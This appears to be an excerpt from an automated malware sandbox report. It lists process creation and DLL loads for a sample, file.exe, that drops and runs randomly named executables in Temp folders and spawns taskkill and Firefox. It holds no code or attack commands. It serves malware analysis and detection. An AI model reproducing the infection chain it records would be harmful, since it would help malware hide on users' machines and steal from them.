Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bea78fd9-aee6-407c-905f-2f1ca8196744} 3712 "\\.\pipe\gecko-crash-server-pipe.3712" 1b46406fb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	Section loaded: iertutil.dll
